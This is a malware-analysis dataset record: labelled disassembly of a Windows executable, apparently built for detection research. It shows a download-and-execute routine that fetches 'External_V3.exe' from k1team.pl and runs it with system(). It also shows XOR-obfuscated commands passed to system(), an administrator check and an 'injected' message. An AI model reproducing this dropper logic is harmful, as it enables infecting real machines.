joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000203b
Capabilities:
Execute command

Disassembly:
jmp 0x14002c930
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x1401184a0]
xor ebx, ebx
movdqa xmm1, xmmword [0x140118060]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002c980
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118520]
mov rcx, rbx
movdqa xmm1, xmmword [0x140118020]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002c9d0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118520]
mov rcx, rbx
movdqa xmm1, xmmword [0x140118000]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002ca20
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118520]
mov rcx, rbx
movdqa xmm1, xmmword [0x140118040]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], 0x91
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0xe], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x21
jb 0x14002ca70
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xe], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140118540]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xfdacb1fb
mov dword [rbp - 0x1c], 0xa5b6f9e1
mov dword [rbp - 0x18], 0xabbfa6
mov byte [rbp - 0x14], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx - 0x80]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1b
jb 0x14002cac0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x14], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002077
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x1400020ae
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
jmp 0x1400a1190
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x138
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov r14, qword [rsp + 0x1a0]
mov rsi, rcx
movsxd rcx, edx
xor r13d, r13d
mov rax, rcx
mov r12, r9
shl rax, 5
mov r15, r8
lea rbx, [rsi + 0x508]
mov rbp, qword [rsi + rcx*8 + 0x4c0]
add rbx, rax
mov rax, qword [rsi + 0x698]
mov rdi, qword [rbx + 8]
sub rdi, qword [rbx + 0x10]
test byte [rax + 0x7c], 3
je 0x1400a1297
lea rax, [0x1400026a3]
cmp qword [rsi + rcx*8 + 0x4e8], rax
jne 0x1400a1297
cmp qword [rbx], r13
je 0x1400a121e
test rdi, rdi
je 0x1400a1297
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8, rdx
mov rcx, rbp
call fcn.14000336e
cmp eax, 0xffffffff
je 0x1400a1297
test al, 1
je 0x1400a1297
mov rax, qword [rbx]
test rax, rax
jne 0x1400a1270
mov rax, qword [rsi]
mov ecx, dword [rax + 0xb70]
add ecx, ecx
movsxd rcx, ecx
mov qword [rbx + 8], rcx
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, qword [rbx + 8]
mov qword [rbx], rax
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
test rax, rax
je 0x1400a1293
mov rdx, qword [rbx + 0x10]
xor r9d, r9d
add rdx, rax
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1400a1297
add qword [rbx + 0x10], rcx
jmp 0x1400a1297
mov qword [rbx + 8], r13
xor r9d, r9d
mov r8d, r12d
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rdi, eax
mov dword [r14], r13d
cmp rdi, 0xffffffffffffffff
jne 0x1400a1304
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x1400a12d0
mov dword [r14], 0x51
mov rax, r13
jmp 0x1400a1307
mov r8d, 0x100
lea rdx, [rsp + 0x20]
mov ecx, ebx
call fcn.140002a54
mov rcx, qword [rsi]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.140003418
mov rcx, qword [rsi]
mov dword [rcx + 0x11b0], ebx
mov dword [r14], gethostname
mov rax, rdi
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140002077
add rsp, 0x138
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140002108
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x1400a0f40
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x1400a0f82
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, gethostname
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x14000214e
Capabilities:
Authenticate hmac

Disassembly:
jmp 0x1400f2e20
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400f2e62
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400f2ea9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400f2f02
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400f2ec0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400f2f43
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140128c07]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140128c08]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400f2f10
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14000222f
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140061660
cmp byte [rcx + 5], 0
je 0x140061683
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x58]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140061670
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x1400022c0
Capabilities:
Terminate process

Disassembly:
jmp 0x1400f4344
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140002324
Capabilities:
Terminate process

Disassembly:
jmp 0x14003b4f0
push rbx
sub rsp, 0x30
xor ebx, ebx
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x50]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14003b548
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea r9d, [rbx + 4]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x48]
mov dword [rsp + 0x40], 4
lea edx, [rbx + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14003b558
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x14003b57f
xor r9d, r9d
lea r8, str.Error.
lea rdx, str.Please_restart_the_application_and_run_as_administrator...
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x30
pop rbx
ret
Function at 0x14000240f
Capabilities:
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
jmp 0x1400b4200
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov edx, 1
mov dword [rsp + 0x34], reloc.WS2_32.dll_recv
mov ebp, 2
mov dword [rsp + 0x30], 1
mov ecx, ebp
mov rsi, r9
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400b4255
jmp 0x1400b4404
mov qword [rsp + 0x80], rbx
mov ecx, 0x7f000001
xor ebx, ebx
mov word [rsp + 0x38], bp
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_htonl]
lea r9, [rsp + 0x30]
mov word [rsp + 0x3a], bx
mov edx, 0xffff
mov dword [rsp + 0x3c], eax
lea r8d, [rbx + 4]
mov qword [rsi + 8], 0xffffffffffffffff
mov rcx, rdi
mov qword [rsi], 0xffffffffffffffff
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400b43db
lea r8d, [rbx + 0x10]
mov rcx, rdi
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1400b43db
lea r8, [rsp + 0x34]
mov rcx, rdi
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x1400b43db
lea edx, [rbx + 1]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x1400b43db
xor r8d, r8d
lea edx, [rbx + 1]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi], rax
cmp rax, 0xffffffffffffffff
je 0x1400b43db
lea r8d, [rbx + 0x10]
mov rcx, rax
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400b43db
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rsi + 8], rax
cmp rax, 0xffffffffffffffff
je 0x1400b43db
mov r9, rsi
lea r8, [0x14011fa54]
lea edx, [rbx + 0xc]
lea rcx, [rsp + 0x48]
call fcn.140001992
lea rax, [rsp + 0x48]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400b4375
mov rcx, qword [rsi]
lea rdx, [rsp + 0x48]
xor r9d, r9d
mov r8d, ebx
call qword [sym.imp.WS2_32.dll_send]
movsxd rcx, eax
cmp rcx, rbx
jne 0x1400b43db
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x54]
xor r9d, r9d
lea r8d, [r9 + 0xc]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, rbx
jne 0x1400b43db
mov r8, rbx
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400b43db
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1400b43fc
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002077
lea r11, [rsp + 0x70]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14000245f
Capabilities:
Resolve dns

Disassembly:
jmp 0x1400b92f0
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov ebx, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x1400b94b4
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x1400b9494
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x1400b934d
lea ebp, [rax + 0xe]
jmp 0x1400b9359
cmp eax, 0x17
jne 0x1400b9401
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x1400b9401
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400b9401
cmp rax, rbp
jb 0x1400b9401
mov ecx, Ordinal_50
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400b943c
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x1400b942b
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x1400b93ee
call qword [case.0x14008ede9.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x1400b9410
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x1400b93fe
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x1400b9340
jmp 0x1400b9442
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [fcn.1400fedd9]
mov rcx, rdi
call qword [fcn.1400fedd9]
jmp 0x1400b9442
mov rcx, rdi
mov r14d, 8
call qword [fcn.1400fedd9]
jmp 0x1400b9442
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x1400b9457
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x1400b948f
test rbx, rbx
je 0x1400b948a
mov rcx, qword [rbx + 0x20]
call qword [fcn.1400fedd9]
mov rcx, qword [rbx + 0x18]
call qword [fcn.1400fedd9]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [fcn.1400fedd9]
mov rbx, rdi
test rdi, rdi
jne 0x1400b9461
mov rbx, r13
jmp 0x1400b94a3
test rbx, rbx
jne 0x1400b94a3
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r14d
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret
Function at 0x140002581
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400f5174
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400f51ae
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400f51b3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400f51fc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400f51fc
dec r8
sub rdx, 1
jne 0x1400f51e2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400025b8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14003b3f0
cmp byte [rcx + 0x65], 0
je 0x14003b413
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x80]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x64
jb 0x14003b400
mov byte [rcx + 0x65], 0
mov rax, rcx
ret

Function at 0x1400025c2
Capabilities:
Download url
Execute command
Receive data

Disassembly:
jmp 0x1400519d0
sub rsp, 0x698
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x680], rax
call fcn.1400014d3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.C:_Windows_IME_External_V3.exe]
mov eax, dword [0x140114b30]
lea rcx, [rsp + 0x7e]
movups xmm1, xmmword [0x140114b08]
xor edx, edx
mov dword [rsp + 0x78], eax
movaps xmmword [rsp + 0x40], xmm0
mov r8d, 0x1ca
movups xmm0, xmmword [0x140114b18]
movzx eax, word [0x140114b34]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x140114b28]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x7c], ax
call sub.VCRUNTIME140.dll_memset
lea r8, str.https:__k1team.pl_
mov edx, 0x104
lea rcx, [rsp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, str.External_V3.exe
mov edx, 0x104
lea rcx, [rsp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r9, [rsp + 0x470]
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r8d, 0x104
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r8d, 0x104
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x250]
xor ecx, ecx
lea rdx, [rsp + 0x360]
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
js 0x140051b18
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140002077
add rsp, 0x698
ret
Function at 0x1400026cb
Capabilities:
Terminate process

Disassembly:
jmp 0x1400f40a8
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.14000327e
test al, al
je 0x1400f3f97
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.140002c7a
mov bl, al
mov ecx, dword [0x1401464b0]
cmp ecx, 1
je 0x1400f3fa2
test ecx, ecx
jne 0x1400f3ecd
mov dword [0x1401464b0], 1
lea rdx, [0x140112c58]
lea rcx, [0x140112928]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x1400f3eae
mov eax, 0xff
jmp 0x1400f3f87
lea rdx, [0x140112818]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x1401464b0], 2
jmp 0x1400f3ed5
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.140002b94
call fcn.1400027e8
mov rbx, rax
cmp qword [rax], 0
je 0x1400f3f08
mov rcx, rax
call fcn.140001d2f
test al, al
je 0x1400f3f08
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x14015b020]
call fcn.1400029c3
mov rbx, rax
cmp qword [rax], 0
je 0x1400f3f2a
mov rcx, rax
call fcn.140001d2f
test al, al
je 0x1400f3f2a
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov rdi, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rbx, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
call fcn.14000267b
mov ebx, eax
call fcn.14000271b
test al, al
je 0x1400f3fac
test sil, sil
jne 0x1400f3f61
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.140001c62
mov eax, ebx
jmp 0x1400f3f87
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.140002bf3
nop
mov ecx, 7
call fcn.140002bf3
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.14000276b
add rsp, 0x28
jmp 0x1400f3e40
Function at 0x1400029aa
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400f2a80
mov r10, rcx
test rdx, rdx
je 0x1400f2ae9
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
and r9b, 2
movzx ecx, r8b
cmp r9b, 2
cmovb ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x1400f2a90
ret
Function at 0x140002bc1
Capabilities:
Terminate process

Disassembly:
jmp 0x14002e330
sub rsp, 0x68
mov rax, qword [0x140144f00]
xor rax, rsp
mov qword [rsp + 0x58], rax
call fcn.140001b4a
call fcn.140001893
call fcn.1400026d0
call fcn.140003463
call fcn.140002324
xor ecx, ecx
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call sub.api_ms_win_crt_time_l1_1_0.dll__localtime64
call fcn.140001348
lea rcx, [rsp + 0x28]
call fcn.1400024d7
nop
call fcn.14000203b
lea rdx, str.e_1_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, [0x140114ca4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.___________________________________________________________________n_t_t_t_t___________________________________________n_t_t_t_t__________________________________n_t_t_t_t_______________________________n_t_t_t_t______________________________n_t_t_t_t___.__________________________n_t_t_t_t_______________________________n__n___n___n___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
call fcn.140002662
call fcn.1400025c2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001c12
lea rdx, str.e_1_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, [0x140114ca4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.___________________________________________________________________n_t_t_t_t___________________________________________n_t_t_t_t__________________________________n_t_t_t_t_______________________________n_t_t_t_t______________________________n_t_t_t_t___.__________________________n_t_t_t_t_______________________________n__n___n___n___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001384
lea rdx, str._t_t_t_t_t_tSuccessfully_Injected__n_n
lea rcx, [rsp + 0x38]
call fcn.140001f96
nop
mov edx, 0x50
lea rcx, [rsp + 0x38]
call fcn.1400031b1
nop
lea rcx, [rsp + 0x38]
call fcn.140001681
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3